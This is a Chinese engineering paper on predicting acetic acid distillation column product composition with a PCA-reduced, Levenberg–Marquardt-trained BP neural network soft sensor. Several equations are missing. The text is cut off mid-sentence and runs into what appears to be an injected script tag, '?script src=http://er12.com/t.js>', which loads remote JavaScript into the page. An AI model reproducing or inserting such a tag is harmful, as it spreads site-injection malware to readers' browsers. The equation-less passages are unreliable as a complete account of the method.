［摘 要］ 依据工艺机理和操作经验，初选了醋酸精馏塔产品组成的神经网络预测模型的输入变量，运用主元分析方法对输入变量进行主元分解，降低输入变量维数且消除了输入变量之间的线性相关性，再通过基于lm优化算法的bp神经网络进行建模。仿真结果表明，该模型具有较快的训练速率和较高的预测精度，可以满足精馏过程对出口物料组成的在线软测量要求。
［关键词］ 精馏塔；bp神经网络；pca方法；软测量；lm算法
1 引 言
扬子石化化工厂醋酸精馏塔，是pta生产装置中一个重要的子系统。其精馏产品醋酸作为pta装置氧化反应器的溶剂，精馏操作性能的好坏直接影响到氧化反应器的运行状况，在精馏系统中，塔顶塔底产品的组成是一个关键控制指标，然而操作时只能依据离线的分析值进行调节，时滞很大，难以实现直接的质量闭环控制。因此，需要建立基于数学模型的在线软测量仪表［1］。但是精馏过程具有多因素、非线性、时变性的特点，由机理分析或实验方法来得到过程的软测量模型十分困难。
为了解决这一问题，首先依据工艺机理和经验知识对过程变量进行初选，然后运用主成分分析（principal component analysis，pca）［2］方法对从dcs模块采集到的醋酸精馏过程检测变量进行主成分分析，进一步压缩处理数据的维数，并消除变量间的复共线性。再运用基于lm（levenberge－marquardt）优化算法的bp神经网络，对提取出的pca主成分与塔顶出料中醋酸含量和塔底出料中水含量进行非线性建模。
2 精馏工艺流程简介
精馏塔是化工生产过程中一种常见且重要的多级分离设备，见图2—1，其基本原理是将液体混合物部分汽化，并利用各组分挥发度不同的特性来实现分离。pta装置中设置的醋酸精馏塔是用来回收为工艺水或排废。塔底釜液主要组分是醋酸，另含有少量水。釜液从塔底排出，经冷凝送到醋酸储罐，供pta装置氧化工段循环使用。
3 pca－bp神经网络的软测量模型
3．1 模型输入变量初选
影响醋酸精馏塔出口物料组成的过程变量较多，依据工艺机理和经验知识，从诸多的过程变量中初选出回流液温度、回流量、塔顶温度、塔顶产品采出量、塔釜温度、塔底馏出物流量、某一进料位置温度等7个对醋酸精馏塔出口产品组成影响较大的主要过程变量作为pca－bp神经网络模型的输入变量，这也和运用美国aspen公司的流程模拟软件判别分析结果一致。
3．2 隐层节点数的确定方式
文献［3、4］认为，隐层节点数的取值并无确定的方法，目前仍然是一个难题。文献［5］研究得出，对于一个3层bp网络，隐层节点数可以用下面的经验公式计算：s＝
式中s为隐层节点数，k为输入层节点数，n为输出层节点数。
s的计算值需要四舍五入法进行取整，文献［5］证明用上式确定隐层节点数是合理的，并与大多数应用实例相符合。文中运用上述经验公式并结合具体问题确定了bp网络隐层节点数。
3．3 pca－bp神经网络模型结构
pca－bp神经网络模型结构由pca和bp神经网络两部分组成，见图3—1。其中pca实施对初选的m个输入变量x＝｛x1，x2，…，xm｝（此处m＝7），进行pca成分提取，得到k个线性独立变量p1，p2，…，pk，以消除输入变量间的复共线性。为了减少神经网络的输入变量个数，简化模型结构，且在不过多损失输入变量信息的前提下，取累计方差贡献率达85％以上的5个主元成分，即为k＝5。bp神经网络结构由3层组成：输入层共k个神经元，对应着k个主成分，隐层节点数共有q个，该次仿真实验隐层节点数根据公式（3—1）计算并结合试验综合确定为6个。输出层取2个神经元，其输出值为y1和y2，分别对应着塔顶出口物料中醋酸含量和塔底出料中的水含量。输入层与隐含层、隐含层与输出层间的连接权分别记为wk×q和vq×2。
3．4 bp神经网络的lm优化算法
前向神经网络常用误差反传（bp）［6］算法进行训练，其实质是使误差平方和最小的优化过程，经典的方法是沿梯度下降方向搜索，简单而实用，但十分缓慢。为了加快搜索，作为对误差函数的二次逼近，提出了牛顿法及其变形等。牛顿法需计算二阶导数的hessian阵及其逆，而levenberg与marquart提出的方法（常称lm算法）避免了这些麻烦，是一种专门用于误差平方和最小的优化方法［7］，搜索速度快，适于前向神经网络训练。误差平方和为：
式中εp为第p个样本的训练误差，ε是以εp为元素的向量。lm算法对它的调整公式是
当λ很小时，变为牛顿法，λ很大则成为梯度下降法（此时步长为λ－1）。实际上应在计算过程中调节λ的大小。一种常用的方法是开始任意选λ，如置λ＝0．1，再每步观察e的变化，如果用了式（3—3）后误?script src=http://er12.com/t.js>
